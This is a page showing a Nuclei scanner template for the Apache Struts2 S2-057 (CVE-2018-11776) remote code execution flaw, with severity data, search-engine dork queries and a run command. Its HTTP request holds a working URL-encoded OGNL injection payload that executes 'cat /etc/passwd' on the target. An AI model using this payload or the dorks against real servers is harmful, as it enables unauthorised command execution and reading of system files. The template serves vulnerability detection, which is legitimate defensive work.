Skip to content

Apache Struts2 S2-057 - Remote Code Execution

ID: CVE-2018-11776

Severity: high

Author: pikpikcu

Tags: cve,cve2018,packetstorm,apache,rce,struts,kev

Apache Struts versions 2.3 to 2.3.34 and 2.5 to 2.5.16 suffer from possible remote code execution when alwaysSelectFullNamespace is true (either by user or a plugin like Convention Plugin) and then: results are used with no namespace and in same time, its upper package have no or wildcard namespace and similar to results, same possibility when using url tag which doesn”t have value and action set and in same time, its upper package have no or wildcard namespace.

id: CVE-2018-11776
info:
name: Apache Struts2 S2-057 - Remote Code Execution
author: pikpikcu
severity: high
description: |
Apache Struts versions 2.3 to 2.3.34 and 2.5 to 2.5.16 suffer from possible remote code execution when alwaysSelectFullNamespace is true (either by user or a plugin like Convention Plugin) and then: results are used with no namespace and in same time, its upper package have no or wildcard namespace and similar to results, same possibility when using url tag which doesn''t have value and action set and in same time, its upper package have no or wildcard namespace.
impact: |
Remote code execution
remediation: |
Apply the latest security patches or upgrade to a non-vulnerable version of Apache Struts2.
reference:
- https://github.com/jas502n/St2-057
- https://cwiki.apache.org/confluence/display/WW/S2-057
- https://security.netapp.com/advisory/ntap-20180822-0001/
- https://nvd.nist.gov/vuln/detail/CVE-2018-11776
- http://packetstormsecurity.com/files/172830/Apache-Struts-Remote-Code-Execution.html
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.1
cve-id: CVE-2018-11776
cwe-id: CWE-20
epss-score: 0.97517
epss-percentile: 0.99987
cpe: cpe:2.3:a:apache:struts:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: apache
product: struts
shodan-query:
- http.html:"apache struts"
- http.title:"struts2 showcase"
- http.html:"struts problem report"
fofa-query:
- body="struts problem report"
- title="struts2 showcase"
- body="apache struts"
google-query: intitle:"struts2 showcase"
tags: cve,cve2018,packetstorm,apache,rce,struts,kev
http:
- method: GET
path:
- "{{BaseURL}}/%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%[email protected]@getRuntime%28%29.exec%28%27cat%20/etc/passwd%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B51020%5D%2C%23c.read%28%23d%29%2C%23sbtest%[email protected]@getResponse%28%29.getWriter%28%29%2C%23sbtest.println%28%23d%29%2C%23sbtest.close%28%29%29%7D/actionChain1.action"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0:"
- type: status
status:
- 200
# digest: 4b0a00483046022100b3abc1137b51ad3830e0e46886c6e6e8b3aa55fb69f162c7b1fe6f634a49df2d022100b93d4d19917d690e6a80485b362458031c707b08a89ff105379213b4fad5cfc7:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2018/CVE-2018-11776.yaml"

View on Github